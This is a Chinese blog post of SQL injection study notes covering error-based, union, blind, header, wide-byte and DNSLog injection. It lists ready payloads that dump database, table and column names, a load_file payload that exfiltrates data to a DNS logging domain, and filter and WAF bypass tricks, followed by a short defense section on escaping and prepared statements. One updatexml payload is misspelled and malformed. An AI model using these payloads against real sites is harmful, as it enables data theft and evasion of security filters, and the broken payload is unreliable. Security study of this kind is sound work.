sql注入

一、漏洞原理

Web应用程序对用户通过GET或POST提交的数据没有进行一个严格的控制和过滤,攻击者可以在web应用程序事先定义好的sql语句后面拼接一些恶意的SQL语句,从而实现欺骗数据库来执行一些未经授权的操作。

二、危害

  1. 绕过认证,获取非法权限;

  1. 获取数据库内容;

  1. 借助数据库存储过程进行提权;

  1. 利用数据库写入进行shell的获取;

三、一般流程

  1. 判断是否存在注入漏洞;

  1. 收集信息,判断数据库类型;

  1. 判断注入类型,重构查询语句;

  1. 猜解表名、字段名;

  1. 获取详细内容;

四、分类

  1. 报错注入

  1. 盲注

  1. 联合查询注入

  1. 宽字节注入

五、注入方法和绕过

一、报错注入

1、extractvalue报错注入

and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

2、updataxml报错注入

and updataxml(1,concat(0x7e,(select database()),1) --+

二、GET union注入

union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+

union select 1,group_concat(column_name) from information_schema.columns where table_name = 表名 --+

三、sql文件上传:into outfile

1、Windows系统

sql注入_第1张图片

2、Linux系统

四、DNSlog注入

1、DNSLog手工注入

load_file()

只能针对windows系统,利用的是UNC路径;

我们生成域名,和url拼接起来,这样目标服务器进行dns解析时,我们刷新解析记录获取到要获取的信息

要用到的域名申请网站:

http://ceye.io

http://www.dnslog.cn/

payload:

and (select load_file(concat("//",(select database()),"申请的域名/要访问的文件"))) #

2、DNSLog自动注入

语法:

五、POST注入

1、union注入

2、报错注入

floor报错

sql注入_第2张图片

3、盲注

(1)、时间盲注
(2)、布尔盲注
(3)DNSLog注入

六、报头注入

当页面看不到明显变换时,可以尝试报头注入;

如果语句为insert,一般使用报错注入

1、user-agent注入

(1)、uagent,即User-Agent,中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言浏览器插件等。内容就是浏览器及版本信息,电脑信息等。常见用途为限制打开软件,浏览器,以及上网行为管理等。

2、Referer注入

3、Cookie注入

七、SQL注入绕过

1、注释符被过滤的绕过

(1)、源代码

‘#’和‘--’被过滤掉

sql注入_第3张图片

(2)、绕过

sql注入_第4张图片

2、and 和 or 被过滤的绕过

(1)、源代码

sql注入_第5张图片

(2)、绕过手法

sql注入_第6张图片
sql注入_第7张图片

进行URL编码

3、空格过滤

(1)、源代码

过滤掉了:and or 空格 注释符等

sql注入_第8张图片

(2)、绕过手法

1、使用+代替空格
2、进行URL编码
sql注入_第9张图片
3、使用报错注入,不用到空格
sql注入_第10张图片

4、limit替换

sql注入_第11张图片

5、逗号过滤使用join绕过

1、获取回显位置

?id=-1' union select 1,2,3 --+

相当于

?id=-1' union select * from (select 1)a join (select 2)b join (select 3)c --+

2、获取库名

?id=-1' union select * from (select 1)a join (select 2)b join (select database())c --+

3、获取表名

?id=-1' union select * from (select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema = database())b join (select 3)c --+

4、获取列名

?id=-1' union select * from (select 1)a join (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name='users')b join (select 3)c --+

5、获取用户数据

用户名和密码分别获取;

6、union 和 select 过滤绕过

(1)、大小写绕过
(2)、复写绕过
(3)、报错注入

八、宽字节注入(仅限当前数据库GBK编码)

1、函数addslashes()

在指定的预定义字符前添加反斜杠,使其称为字符,丧失功能性。使闭合符失效

2、GBK编码

%df%5c 使\失效

3、绕过

?id=1%df'

'闭合符效果生效。

九、waf绕过

1、安全狗4.0

sql注入_第12张图片

(1)、注释

(2)、替换

sql注入_第13张图片

2、安全狗3.5

超大数据包绕过

3、分块传输绕过(post提交)

https://github.com/ThestaRY7/SQLinjection

burpsuit插件。

六、SQL注入的防御与修复

正则匹配

正则表达式匹配特殊字符;匹配到后将特殊字符替换为空,或者拒绝执行SQL语句。

  1. PHP - preg_replace方法

  1. Java - Pattern类

  1. Go - Regexp包

  1. Python - re包

转码 - PHP

  1. mysqli_real_escape_string() 实体化转码;只在UTF-8的编码模式下是绝对安全的。

预编译

SQL预编译是软件开发中规避SQL注入的通用解决方案;

  1. PHP - 使用PDO连接数据库

  1. Java - PreparedStatement

你可能感兴趣的:(sql,数据库,安全)